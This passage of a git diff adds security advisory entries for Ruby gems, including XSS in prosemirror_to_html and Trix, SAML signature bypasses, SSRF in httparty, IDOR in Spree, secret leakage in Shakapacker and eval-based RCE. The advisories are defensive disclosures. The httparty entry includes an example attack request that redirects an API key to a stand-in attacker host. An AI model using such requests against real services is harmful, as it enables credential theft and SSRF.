`
+ - `onerror` attributes on images: `
`
+ - Other HTML attributes that can execute JavaScript
+
+ ### Patches
+
+ A fix is currently in development. Users should upgrade to version
+ **0.2.1** or later once released. The patch escapes all HTML attribute
+ values using `CGI.escapeHTML` to prevent injection attacks.
+
+ ### Workarounds
+
+ Until a patched version is available, users can implement one or
+ more of these mitigations:
+
+ 1. **Sanitize output**: Pass the HTML output through a sanitization
+ library like [Sanitize](https://github.com/rgrove/sanitize) or
+ [Loofah](https://github.com/flavorjones/loofah):
+
+ ```ruby
+ html = ProsemirrorToHtml.render(document)
+ safe_html = Sanitize.fragment(html, Sanitize::Config::RELAXED)
+ ```
+
+ 2. **Implement Content Security Policy (CSP)**: Add strict CSP
+ headers to prevent inline JavaScript execution:
+ ```
+ Content-Security-Policy: default-src 'self'; script-src 'self'
+ ```
+
+ 3. **Input validation**: If possible, validate and sanitize
+ ProseMirror documents before conversion to prevent malicious
+ content from entering the system.
+
+ ### References
+
+ - Vulnerable code: https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249
+ - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
+ patched_versions:
+ - ">= 0.2.1"
+ related:
+ url:
+ - https://github.com/etaminstudio/prosemirror_to_html/security/advisories/GHSA-52c5-vh7f-26fx
+ - https://github.com/etaminstudio/prosemirror_to_html/commit/4d59f94f550bcabeec30d298791bbdd883298ad8
+ - https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
+ - https://github.com/etaminstudio/prosemirror_to_html/blob/ea8beb32f6c37f29f042ba4155ccf18504da716e/lib/prosemirror_to_html.rb#L249
+ - https://github.com/advisories/GHSA-4249-gjr8-jpq3
+---
diff --git a/advisories/_posts/2025-12-08-CVE-2025-66567.md b/advisories/_posts/2025-12-08-CVE-2025-66567.md
new file mode 100644
index 00000000..d94e70cd
--- /dev/null
+++ b/advisories/_posts/2025-12-08-CVE-2025-66567.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2025-66567 (ruby-saml): Ruby-saml has a SAML authentication bypass due
+ to namespace handling (parser differential)'
+comments: false
+categories:
+- ruby-saml
+advisory:
+ gem: ruby-saml
+ cve: 2025-66567
+ ghsa: 9v8j-x534-2fx3
+ url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-9v8j-x534-2fx3
+ title: Ruby-saml has a SAML authentication bypass due to namespace handling (parser
+ differential)
+ date: 2025-12-08
+ description: |-
+ ### Summary
+
+ Ruby-saml up to and including 1.12.4, there is an authentication
+ bypass vulnerability because of an incomplete fix for CVE-2025-25292.
+ ReXML and Nokogiri parse XML differently, the parsers can generate
+ entirely different document structures from the same XML input.
+ That allows an attacker to be able to execute a Signature Wrapping
+ attack. The vulnerability does not affect the version 1.18.0.
+
+ ### Impact
+
+ That allows an attacker to be able to execute a Signature Wrapping
+ attack and bypass the authentication
+ cvss_v3: 9.1
+ cvss_v4: 9.3
+ patched_versions:
+ - ">= 1.18.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-66567
+ - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-9v8j-x534-2fx3
+ - https://github.com/SAML-Toolkits/ruby-saml/commit/e9c1cdbd0f9afa467b585de279db0cbd0fb8ae97
+ - https://github.com/advisories/GHSA-754f-8gm6-c4r2
+ - https://github.com/advisories/GHSA-9v8j-x534-2fx3
+---
diff --git a/advisories/_posts/2025-12-08-CVE-2025-66568.md b/advisories/_posts/2025-12-08-CVE-2025-66568.md
new file mode 100644
index 00000000..ad28f03d
--- /dev/null
+++ b/advisories/_posts/2025-12-08-CVE-2025-66568.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2025-66568 (ruby-saml): Ruby-saml allows a Libxml2 Canonicalization error
+ to bypass Digest/Signature validation'
+comments: false
+categories:
+- ruby-saml
+advisory:
+ gem: ruby-saml
+ cve: 2025-66568
+ ghsa: x4h9-gwv3-r4m4
+ url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-x4h9-gwv3-r4m4
+ title: Ruby-saml allows a Libxml2 Canonicalization error to bypass Digest/Signature
+ validation
+ date: 2025-12-08
+ description: |-
+ ### Summary
+
+ Ruby-saml up to and including 1.12.4, there is an authentication
+ bypass vulnerability because of an issue at libxml2 canonicalization
+ process used by Nokogiri for document transformation. That allows
+ an attacker to be able to execute a Signature Wrapping attack.
+ The vulnerability does not affect the version 1.18.0.
+
+ ### Details
+
+ When libxml2’s canonicalization is invoked on an invalid XML input,
+ it may return an empty string rather than a canonicalized node.
+ ruby-saml then proceeds to compute the DigestValue over this empty
+ string, treating it as if canonicalization succeeded.
+
+ ### Impact
+
+ 1. Digest bypass: By crafting input that causes canonicalization to
+ yield an empty string, the attacker can manipulate validation to
+ pass incorrectly.
+
+ 2. Signature replay on empty canonical form: If an empty string has
+ been signed once (e.g., in a prior interaction or via a
+ misconfigured flow), that signature can potentially be replayed
+ to bypass authentication.
+ cvss_v3: 9.1
+ cvss_v4: 9.3
+ patched_versions:
+ - ">= 1.18.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-66568
+ - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-x4h9-gwv3-r4m4
+ - https://github.com/SAML-Toolkits/ruby-saml/commit/acac9e9cc0b9a507882c614f25d41f8b47be349a
+ - https://github.com/advisories/GHSA-x4h9-gwv3-r4m4
+---
diff --git a/advisories/_posts/2025-12-16-CVE-2025-68113.md b/advisories/_posts/2025-12-16-CVE-2025-68113.md
new file mode 100644
index 00000000..8c3d8424
--- /dev/null
+++ b/advisories/_posts/2025-12-16-CVE-2025-68113.md
@@ -0,0 +1,66 @@
+---
+layout: advisory
+title: 'CVE-2025-68113 (altcha): ALTCHA Proof-of-Work Vulnerable to Challenge Splicing
+ and Replay'
+comments: false
+categories:
+- altcha
+advisory:
+ gem: altcha
+ cve: 2025-68113
+ ghsa: 6gvq-jcmp-8959
+ url: https://github.com/altcha-org/altcha-lib/security/advisories/GHSA-6gvq-jcmp-8959
+ title: ALTCHA Proof-of-Work Vulnerable to Challenge Splicing and Replay
+ date: 2025-12-16
+ description: |-
+ ### Impact
+
+ A cryptographic semantic binding flaw in ALTCHA libraries allows
+ challenge payload splicing, which may enable replay attacks. The
+ HMAC signature does not unambiguously bind challenge parameters to
+ the nonce, allowing an attacker to reinterpret a valid proof-of-work
+ submission with a modified expiration value.
+
+ This may allow previously solved challenges to be reused beyond
+ their intended lifetime, depending on server-side replay handling
+ and deployment assumptions.
+
+ The vulnerability primarily impacts abuse-prevention mechanisms such
+ as rate limiting and bot mitigation.
+
+ It does not directly affect data confidentiality or integrity.
+
+ ### Patches
+
+ This issue has been addressed by enforcing explicit semantic
+ separation between challenge parameters and the nonce during
+ HMAC computation.
+
+ Users are advised to upgrade to patched versions.
+
+ ### Workarounds
+
+ As a mitigation, implementations may append a delimiter to the
+ end of the `salt` value prior to HMAC computation (for example,
+ `
?expires=&`). This prevents ambiguity between
+ parameters and the nonce and is backward-compatible with existing
+ implementations, as the delimiter is treated as a standard URL
+ parameter separator."
+ cvss_v3: 6.5
+ patched_versions:
+ - ">= 1.0.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-68113
+ - https://github.com/altcha-org/altcha-lib/security/advisories/GHSA-6gvq-jcmp-8959
+ - https://github.com/altcha-org/altcha-lib-ex/commit/09b2bad466ad0338a5b24245380950ea9918333e
+ - https://github.com/altcha-org/altcha-lib-go/commit/4a5610745ef79895a67bac858b2e4f291c2614b8
+ - https://github.com/altcha-org/altcha-lib-java/commit/69277651fdd6418ae10bf3a088901506f9c62114
+ - https://github.com/altcha-org/altcha-lib-php/commit/9e9e70c864a9db960d071c77c778be0c9ff1a4d0
+ - https://github.com/altcha-org/altcha-lib-rb/commit/4fd7b64cbbfc713f3ca4e066c2dd466e3b8d359b
+ - https://github.com/altcha-org/altcha-lib/commit/cb95d83a8d08e273b6be15e48988e7eaf60d5c08
+ - https://github.com/altcha-org/altcha-lib-java/releases/tag/v1.3.0
+ - https://github.com/altcha-org/altcha-lib-php/releases/tag/v1.3.1
+ - https://github.com/altcha-org/altcha-lib/releases/tag/1.4.1
+ - https://github.com/advisories/GHSA-6gvq-jcmp-8959
+---
diff --git a/advisories/_posts/2025-12-18-CVE-2025-14762.md b/advisories/_posts/2025-12-18-CVE-2025-14762.md
new file mode 100644
index 00000000..0340e6d3
--- /dev/null
+++ b/advisories/_posts/2025-12-18-CVE-2025-14762.md
@@ -0,0 +1,87 @@
+---
+layout: advisory
+title: 'CVE-2025-14762 (aws-sdk-s3): AWS SDK for Ruby''s S3 Encryption Client has
+ a Key Commitment Issue'
+comments: false
+categories:
+- aws-sdk-s3
+advisory:
+ gem: aws-sdk-s3
+ cve: 2025-14762
+ ghsa: 2xgq-q749-89fq
+ url: https://github.com/aws/aws-sdk-ruby/security/advisories/GHSA-2xgq-q749-89fq
+ title: AWS SDK for Ruby's S3 Encryption Client has a Key Commitment Issue
+ date: 2025-12-18
+ description: |-
+ ## Summary
+
+ S3 Encryption Client for Ruby is an open-source client-side encryption
+ library used to facilitate writing and reading encrypted records to S3.
+
+ When the encrypted data key (EDK) is stored in an "Instruction File"
+ instead of S3's metadata record, the EDK is exposed to an "Invisible
+ Salamanders" attack (https://eprint.iacr.org/2019/016), which could
+ allow the EDK to be replaced with a new key.
+
+ ## Impact
+
+ ### Background - Key Commitment
+
+ There is a cryptographic property whereby under certain conditions,
+ a single ciphertext can be decrypted into 2 different plaintexts by
+ using different encryption keys. To address this issue, strong
+ encryption schemes use what is known as "key commitment", a process
+ by which an encrypted message can only be decrypted by one key;
+ the key used to originally encrypt the message.
+
+ In older versions of S3EC, when customers are also using a feature
+ called "Instruction File" to store EDKs, key commitment is not
+ implemented because multiple EDKs could be associated to an underlying
+ encrypted message object. For such customers an attack that leverages
+ the lack of key commitment is possible. A bad actor would need two
+ things to leverage this issue:
+ (i) the ability to create a separate, rogue, EDK that will also
+ decrypt the underlying object to produce desired plaintext, and
+ (ii) permission to upload a new instruction file to the S3 bucket
+ to replace the existing instruction file placed there by the
+ user using the S3C. Any future attempt to decrypt the
+ underlying encrypted message with the S3EC will unwittingly
+ use the rogue EDK to produce a valid plaintext message.
+
+ ### Impacted versions: <= 1.207.0
+
+ ## Patches
+
+ We are introducing the concept of "key commitment\" to S3EC where the
+ EDK is cryptographically bound to the ciphertext in order to address
+ this issue. In order to maintain compatibility for in-flight messages
+ we are releasing the fix in two versions. A code-compatible minor
+ version that can read messages with key-commitment but not write them,
+ and a new major version that can both read and write messages with
+ key-commitment. For maximum safety customers are asked to upgrade to
+ the latest major version: 1.208.0 or later.
+
+ ### Workarounds
+
+ There are no workarounds, please upgrade to the suggested version of S3EC.
+
+ ### References
+
+ If customers have any questions or comments about this advisory,
+ AWS SDK for Ruby asks that they contact AWS Security via the issue
+ reporting page or directly via email to
+ [aws-security@amazon.com](mailto:aws-security@amazon.com).
+ Please do not create a public GitHub issue.
+ cvss_v3: 5.3
+ cvss_v4: 6.0
+ patched_versions:
+ - ">= 1.208.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-14762
+ - https://rubygems.org/gems/aws-sdk-s3/versions/1.208.0
+ - https://github.com/aws/aws-sdk-ruby/security/advisories/GHSA-2xgq-q749-89fq
+ - https://github.com/aws/aws-sdk-ruby/commit/b633ba10cd2fbc4cc770b76ab531ed9647654044
+ - https://aws.amazon.com/security/security-bulletins/AWS-2025-032
+ - https://github.com/advisories/GHSA-2xgq-q749-89fq
+---
diff --git a/advisories/_posts/2025-12-23-CVE-2025-68696.md b/advisories/_posts/2025-12-23-CVE-2025-68696.md
new file mode 100644
index 00000000..50341eab
--- /dev/null
+++ b/advisories/_posts/2025-12-23-CVE-2025-68696.md
@@ -0,0 +1,80 @@
+---
+layout: advisory
+title: 'CVE-2025-68696 (httparty): httparty Has Potential SSRF Vulnerability That
+ Leads to API Key Leakage'
+comments: false
+categories:
+- httparty
+advisory:
+ gem: httparty
+ cve: 2025-68696
+ ghsa: hm5p-x4rq-38w4
+ url: https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
+ title: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
+ date: 2025-12-23
+ description: |-
+ ## Summary
+
+ There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
+
+ ## Details
+
+ When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
+
+ Consider the following example of a web application:
+
+ ```rb
+ require 'sinatra'
+ require 'httparty'
+
+ class RepositoryClient
+ include HTTParty
+ base_uri 'http://exmaple.test/api/v1/repositories/'
+ headers 'X-API-KEY' => '1234567890'
+ end
+
+ post '/issue' do
+ request_body = JSON.parse(request.body.read)
+ RepositoryClient.get(request_body['repository_id']).body
+ # do something
+ json message: 'OK'
+ end
+ ```
+
+ Now, suppose an attacker sends a request like this:
+
+ ```
+ POST /issue HTTP/1.1
+ Host: localhost:10000
+ Content-Type: application/json
+
+ {
+ "repository_id": "http://attacker.test",
+ "title": "test"
+ }
+ ```
+
+ In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.
+
+ A similar problem was reported and fixed in the HTTP client library axios in the past:
+
+
+ Also, Python's `urljoin` function has documented a warning about similar behavior:
+
+
+ ## Impact
+
+ - Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
+ - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
+ - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.
+ cvss_v3: 8.2
+ cvss_v4: 8.8
+ patched_versions:
+ - ">= 0.24.0"
+ related:
+ url:
+ - https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
+ - https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-68696
+ - https://github.com/advisories/GHSA-hm5p-x4rq-38w4
+---
diff --git a/advisories/_posts/2025-12-31-GHSA-g9jg-w8vm-g96v.md b/advisories/_posts/2025-12-31-GHSA-g9jg-w8vm-g96v.md
new file mode 100644
index 00000000..8018640e
--- /dev/null
+++ b/advisories/_posts/2025-12-31-GHSA-g9jg-w8vm-g96v.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'GHSA-g9jg-w8vm-g96v (action_text-trix): Trix has a stored XSS vulnerability
+ through its attachment attribute'
+comments: false
+categories:
+- action_text-trix
+advisory:
+ gem: action_text-trix
+ ghsa: g9jg-w8vm-g96v
+ url: https://github.com/basecamp/trix/security/advisories/GHSA-g9jg-w8vm-g96v
+ title: Trix has a stored XSS vulnerability through its attachment attribute
+ date: 2025-12-31
+ description: |-
+ ### Impact
+
+ The Trix editor, in versions prior to 2.1.16, is vulnerable to XSS
+ attacks through attachment payloads.
+
+ An attacker could inject malicious code into a data-trix-attachment
+ attribute that, when rendered as HTML and clicked on, could execute
+ arbitrary JavaScript code within the context of the user's session,
+ potentially leading to unauthorized actions being performed or
+ sensitive information being disclosed.
+
+ ### Patches
+
+ Update Recommendation: Users should upgrade to Trix editor
+ version 2.1.16 or later.
+
+ ### Resources
+
+ The XSS vulnerability was reported by HackerOne researcher
+ [michaelcheers](https://hackerone.com/michaelcheers?type=user).
+ cvss_v3: 4.6
+ patched_versions:
+ - ">= 2.1.16"
+ related:
+ url:
+ - https://github.com/basecamp/trix/security/advisories/GHSA-g9jg-w8vm-g96v
+ - https://github.com/basecamp/trix/releases/tag/v2.1.16
+ - https://github.com/basecamp/trix/commit/73c20cf03ab2b56c0ef9c9b1aaf63f2de44f4010
+ - https://github.com/advisories/GHSA-g9jg-w8vm-g96v
+---
diff --git a/advisories/_posts/2026-01-08-CVE-2026-22588.md b/advisories/_posts/2026-01-08-CVE-2026-22588.md
new file mode 100644
index 00000000..d96e4fd2
--- /dev/null
+++ b/advisories/_posts/2026-01-08-CVE-2026-22588.md
@@ -0,0 +1,67 @@
+---
+layout: advisory
+title: 'CVE-2026-22588 (spree_api): Spree API has Authenticated Insecure Direct Object
+ Reference (IDOR) via Order Modification'
+comments: false
+categories:
+- spree_api
+advisory:
+ gem: spree_api
+ cve: 2026-22588
+ ghsa: g268-72p7-9j6j
+ url: https://github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j
+ title: Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order
+ Modification
+ date: 2026-01-08
+ description: |-
+ ### Summary
+
+ An Authenticated Insecure Direct Object Reference (IDOR)
+ vulnerability was identified that allows an authenticated user to
+ retrieve other users’ address information by modifying an existing order.
+ By editing an order they legitimately own and manipulating address
+ identifiers in the request, the backend server accepts and processes
+ references to addresses belonging to other users, subsequently
+ associating those addresses with the attacker’s order and returning
+ them in the response.
+
+ ### Details
+
+ Affected Component(s)
+
+ - Authenticated user order management
+ - Address association logic
+ - Order update endpoint(s)
+
+ Affected Endpoint(s):
+ - `/api/v2/storefront/checkout`
+
+ The application fails to enforce proper object-level authorization
+ when updating an existing order. While the user is authenticated and
+ authorized to modify their own order, the backend does not verify
+ that the supplied address identifiers belong to the same authenticated user.
+
+ ### Impact
+
+ As a result, an attacker can:
+ - Replace the address identifier with one belonging to another user
+ - Cause the backend to associate and return another user’s address
+ within the attacker’s order"
+ cvss_v3: 6.5
+ unaffected_versions:
+ - "< 3.7.0"
+ patched_versions:
+ - "~> 4.10.2"
+ - "~> 5.0.7"
+ - "~> 5.1.9"
+ - ">= 5.2.5"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-22588
+ - https://github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j
+ - https://github.com/spree/spree/commit/02acabdce2c5f14fd687335b068d901a957a7e72
+ - https://github.com/spree/spree/commit/17e78a91b736b49dbea8d1bb1223c284383ee5f3
+ - https://github.com/spree/spree/commit/b409c0fd327e7ce37f63238894670d07079eefe8
+ - https://github.com/spree/spree/commit/d3f961c442e0015661535cbd6eb22475f76d2dc7
+ - https://github.com/advisories/GHSA-g268-72p7-9j6j
+---
diff --git a/advisories/_posts/2026-01-08-CVE-2026-22589.md b/advisories/_posts/2026-01-08-CVE-2026-22589.md
new file mode 100644
index 00000000..9da4101d
--- /dev/null
+++ b/advisories/_posts/2026-01-08-CVE-2026-22589.md
@@ -0,0 +1,82 @@
+---
+layout: advisory
+title: 'CVE-2026-22589 (spree_core): Spree API has Unauthenticated IDOR - Guest Address'
+comments: false
+categories:
+- spree_core
+advisory:
+ gem: spree_core
+ cve: 2026-22589
+ ghsa: 3ghg-3787-w2xr
+ url: https://github.com/spree/spree/security/advisories/GHSA-3ghg-3787-w2xr
+ title: Spree API has Unauthenticated IDOR - Guest Address
+ date: 2026-01-08
+ description: |-
+ ### Summary
+
+ An Unauthenticated Insecure Direct Object Reference (IDOR)
+ vulnerability was identified that allows an unauthenticated attacker
+ to access guest address information without supplying valid
+ credentials or session cookies.
+
+ ### Details
+
+ During testing, it was observed that all guest users can make an
+ unauthenticated request to retrieve address data belonging to other
+ guest users by manipulating object identifiers. The attacker would
+ need to know the storefront URL structure to perform this attack
+ (which can be learnt after creating a registered user account).
+
+ Affected Component(s)
+
+ * Address Edit endpoint: `/addresses/{addressId}/edit`
+
+ Root Cause
+ - Faulty authorization check in CanCanCan Ability class:
+
+ ```diff
+ - can :manage, ::Spree::Address, user_id: user.id
+ + can :manage, ::Spree::Address, user_id: user.id if user.persisted?
+ ```
+
+ the `user` object in `Spree::Ability` class for guest users is
+ a `Spree.user_class.new` object.
+
+ Addresses endpoint to access it is part of the `spree_storefront`
+ gem. **Headless builds using APIs are not affected,** as the
+ Addresses endpoint there is only for registered users, and
+ records are scoped to the currently signed-in user.
+
+ ### Impact
+
+ An unauthenticated attacker can:
+
+ - Enumerate and retrieve guest address information (Addresses
+ associated with User accounts are NOT affected)
+ - Access personally identifiable information (PII) such as:
+ - Full names
+ - Physical addresses
+ - Phone numbers (if present)
+
+ This vulnerability could lead to:
+
+ - Privacy violations
+ - Regulatory compliance issues (e.g., GDPR)
+ - Loss of user trust"
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 4.0.0"
+ patched_versions:
+ - "~> 4.10.2"
+ - "~> 5.0.7"
+ - "~> 5.1.9"
+ - ">= 5.2.5"
+ related:
+ url:
+ - https://github.com/spree/spree/security/advisories/GHSA-3ghg-3787-w2xr
+ - https://github.com/spree/spree/commit/16067def6de8e0742d55313e83b0fbab6d2fd795
+ - https://github.com/spree/spree/commit/4c2bd62326fba0d846fd9e4bad2c62433829b3ad
+ - https://github.com/spree/spree/commit/d051925778f24436b62fa8e4a6b842c72ca80a67
+ - https://github.com/spree/spree/commit/e1cff4605eb15472904602aebaf8f2d04852d6ad
+ - https://github.com/advisories/GHSA-3ghg-3787-w2xr
+---
diff --git a/advisories/_posts/2026-01-08-GHSA-96qw-h329-v5rg.md b/advisories/_posts/2026-01-08-GHSA-96qw-h329-v5rg.md
new file mode 100644
index 00000000..d4ff73c7
--- /dev/null
+++ b/advisories/_posts/2026-01-08-GHSA-96qw-h329-v5rg.md
@@ -0,0 +1,99 @@
+---
+layout: advisory
+title: 'GHSA-96qw-h329-v5rg (shakapacker): Shakapacker has environment variable leak
+ via EnvironmentPlugin that exposes secrets to client-side bundles'
+comments: false
+categories:
+- shakapacker
+advisory:
+ gem: shakapacker
+ ghsa: 96qw-h329-v5rg
+ url: https://github.com/shakacode/shakapacker/security/advisories/GHSA-96qw-h329-v5rg
+ title: Shakapacker has environment variable leak via EnvironmentPlugin that exposes
+ secrets to client-side bundles
+ date: 2026-01-08
+ description: |-
+ ### Summary
+
+ Since 2017, the default webpack plugins have passed the entire
+ `process.env` to `EnvironmentPlugin`. This pattern exposed ALL
+ build environment variables to client-side JavaScript bundles
+ whenever application code (or any dependency) referenced
+ `process.env.VARIABLE_NAME`.
+
+ This is not a regression - the vulnerable code has existed since
+ the original Webpacker implementation. No recent code change
+ in Shakapacker triggered this issue.
+
+ ### Impact
+
+ Any environment variable in the build environment that is referenced
+ in client-side code (including third-party dependencies) is embedded
+ directly into the JavaScript bundle. This includes:
+
+ - `DATABASE_URL` - Database credentials
+ - `AWS_SECRET_ACCESS_KEY` - AWS credentials
+ - `RAILS_MASTER_KEY` - Rails encrypted credentials key
+ - `STRIPE_SECRET_KEY`, `TWILIO_AUTH_TOKEN` - Third-party API keys
+ - Any other secrets present in the build environment
+
+ **Severity**: Critical - secrets are exposed in publicly accessible
+ JavaScript files.
+
+ ### Root Cause
+
+ The original code used:
+ ```javascript
+ new
+ webpack.EnvironmentPlugin(process.env)
+ ```
+
+ This makes every environment variable available for substitution. If
+ any code references `process.env.SECRET_KEY`, that value is embedded
+ in the bundle.
+
+ ### Patches
+
+ Upgrade to version 9.5.0 or later, which uses an allowlist approach
+ that only exposes `NODE_ENV`, `RAILS_ENV`, and `WEBPACK_SERVE` by default.
+
+ ### Workarounds
+
+ If developers cannot upgrade immediately:
+ 1. Audit client-side code and dependencies for any `process.env.X`
+ references to sensitive variables
+ 2. Remove sensitive variables from the build environment
+ 3. Override the default plugins with a custom webpack/rspack
+ config using an explicit allowlist
+
+ ### Migration
+
+ After upgrading, if client-side code needs access to specific environment
+ variables:
+
+ **Option 1: Use the `SHAKAPACKER_PUBLIC_` prefix (recommended)**
+ ```bash
+ # Variables with this prefix are automatically exposed
+ export SHAKAPACKER_PUBLIC_API_URL=\"https://api.example.com\"
+ ```
+
+ **Option 2: Use `SHAKAPACKER_ENV_VARS`**
+ ```bash
+ SHAKAPACKER_ENV_VARS=API_URL,FEATURE_FLAG
+ bundle exec rails assets:precompile
+ ```
+
+ ### Action Required
+
+ After upgrading, **rotate any secrets** that may have been exposed
+ in previously compiled JavaScript bundles.
+ cvss_v3: 7.5
+ patched_versions:
+ - ">= 9.5.0"
+ related:
+ url:
+ - https://github.com/shakacode/shakapacker/security/advisories/GHSA-96qw-h329-v5rg
+ - https://github.com/shakacode/shakapacker/pull/857
+ - https://github.com/shakacode/shakapacker/commit/3e06781b18383c5c2857ed3a722f7b91bdc1bc0e
+ - https://github.com/advisories/GHSA-96qw-h329-v5rg
+---
diff --git a/advisories/_posts/2026-01-13-CVE-2025-68271.md b/advisories/_posts/2026-01-13-CVE-2025-68271.md
new file mode 100644
index 00000000..27b5ef0f
--- /dev/null
+++ b/advisories/_posts/2026-01-13-CVE-2025-68271.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2025-68271 (openc3): openc3-api Vulnerable to Unauthenticated Remote Code
+ Execution'
+comments: false
+categories:
+- openc3
+advisory:
+ gem: openc3
+ cve: 2025-68271
+ ghsa: w757-4qv9-mghp
+ url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-w757-4qv9-mghp
+ title: openc3-api Vulnerable to Unauthenticated Remote Code Execution
+ date: 2026-01-13
+ description: |-
+ ### Summary
+
+ OpenC3 COSMOS contains a critical remote code execution vulnerability
+ reachable through the JSON-RPC API. When a JSON-RPC request uses the
+ string form of certain APIs, attacker-controlled parameter text is
+ parsed into values using String#convert_to_value. For array-like
+ inputs, convert_to_value executes eval().
+
+ Because the cmd code path parses the command string before calling
+ authorize(), an unauthenticated attacker can trigger Ruby code
+ execution even though the request ultimately fails authorization (401).
+ cvss_v3: 10.0
+ unaffected_versions:
+ - "< 5.0.6"
+ patched_versions:
+ - ">= 6.10.2"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2025-68271
+ - https://github.com/OpenC3/cosmos/security/advisories/GHSA-w757-4qv9-mghp
+ - https://github.com/OpenC3/cosmos/commit/01e9fbc5e66e9a2500b71a75a44775dd1fc2d1de
+ - https://github.com/advisories/GHSA-w757-4qv9-mghp
+---
diff --git a/advisories/_posts/2026-01-21-CVE-2026-23885.md b/advisories/_posts/2026-01-21-CVE-2026-23885.md
new file mode 100644
index 00000000..a168220d
--- /dev/null
+++ b/advisories/_posts/2026-01-21-CVE-2026-23885.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'CVE-2026-23885 (alchemy_cms): AlchemyCMS - Authenticated Remote Code Execution
+ (RCE) via eval injection in ResourcesHelper'
+comments: false
+categories:
+- alchemy_cms
+advisory:
+ gem: alchemy_cms
+ cve: 2026-23885
+ ghsa: 2762-657x-v979
+ url: https://github.com/AlchemyCMS/alchemy_cms/security/advisories/GHSA-2762-657x-v979
+ title: AlchemyCMS - Authenticated Remote Code Execution (RCE) via eval injection
+ in ResourcesHelper
+ date: 2026-01-21
+ description: |-
+ ### Summary
+
+ A vulnerability was discovered during a manual security audit
+ of the AlchemyCMS source code. The application uses the Ruby
+ `eval()` function to dynamically execute a string provided by the
+ `resource_handler.engine_name` attribute in
+ `Alchemy::ResourcesHelper#resource_url_proxy`.
+
+ ### Details
+
+ The vulnerability exists in `app/helpers/alchemy/resources_helper.rb`
+ at line 28. The code explicitly bypasses security linting with
+ `# rubocop:disable Security/Eval`, indicating that the use of a
+ dangerous function was known but not properly mitigated.
+
+ Since `engine_name` is sourced from module definitions that can be
+ influenced by administrative configurations, it allows an authenticated
+ attacker to escape the Ruby sandbox and execute arbitrary system
+ commands on the host OS.
+
+ But, for this attack to be possible local file access to the alchemy
+ project or the source on a remote server is necessary in order to
+ manipulate the module config file, though.
+ cvss_v3: 6.6
+ patched_versions:
+ - "~> 7.4.12"
+ - ">= 8.0.3"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-23885
+ - https://github.com/AlchemyCMS/alchemy_cms/security/advisories/GHSA-2762-657x-v979
+ - https://github.com/AlchemyCMS/alchemy_cms/commit/55d03ec600fd9e07faae1138b923790028917d26
+ - https://github.com/AlchemyCMS/alchemy_cms/commit/563c4ce45bf5813b7823bf3403ca1fc32cb769e7
+ - https://github.com/AlchemyCMS/alchemy_cms/releases/tag/v7.4.12
+ - https://github.com/AlchemyCMS/alchemy_cms/releases/tag/v8.0.3
+ - https://github.com/advisories/GHSA-2762-657x-v979
+---
diff --git a/advisories/_posts/2026-02-02-CVE-2026-1530.md b/advisories/_posts/2026-02-02-CVE-2026-1530.md
new file mode 100644
index 00000000..dbe3746d
--- /dev/null
+++ b/advisories/_posts/2026-02-02-CVE-2026-1530.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2026-1530 (fog-kubevirt): fog-kubevirt allows remote attacker to perform
+ MITM attack due to disabled certificate validation'
+comments: false
+categories:
+- fog-kubevirt
+advisory:
+ gem: fog-kubevirt
+ cve: 2026-1530
+ ghsa: m3hq-3qj8-c5fm
+ url: https://access.redhat.com/security/cve/CVE-2026-1530
+ title: fog-kubevirt allows remote attacker to perform MITM attack due to disabled
+ certificate validation
+ date: 2026-02-02
+ description: |-
+ A flaw was found in fog-kubevirt. This vulnerability allows a remote
+ attacker to perform a Man-in-the-Middle (MITM) attack due to disabled
+ certificate validation. This enables the attacker to intercept and
+ potentially alter sensitive communications between Satellite and
+ OpenShift, resulting in information disclosure and data integrity
+ compromise.
+ cvss_v3: 8.1
+ patched_versions:
+ - ">= 1.5.1"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-1530
+ - https://github.com/fog/fog-kubevirt/releases/tag/v1.5.1
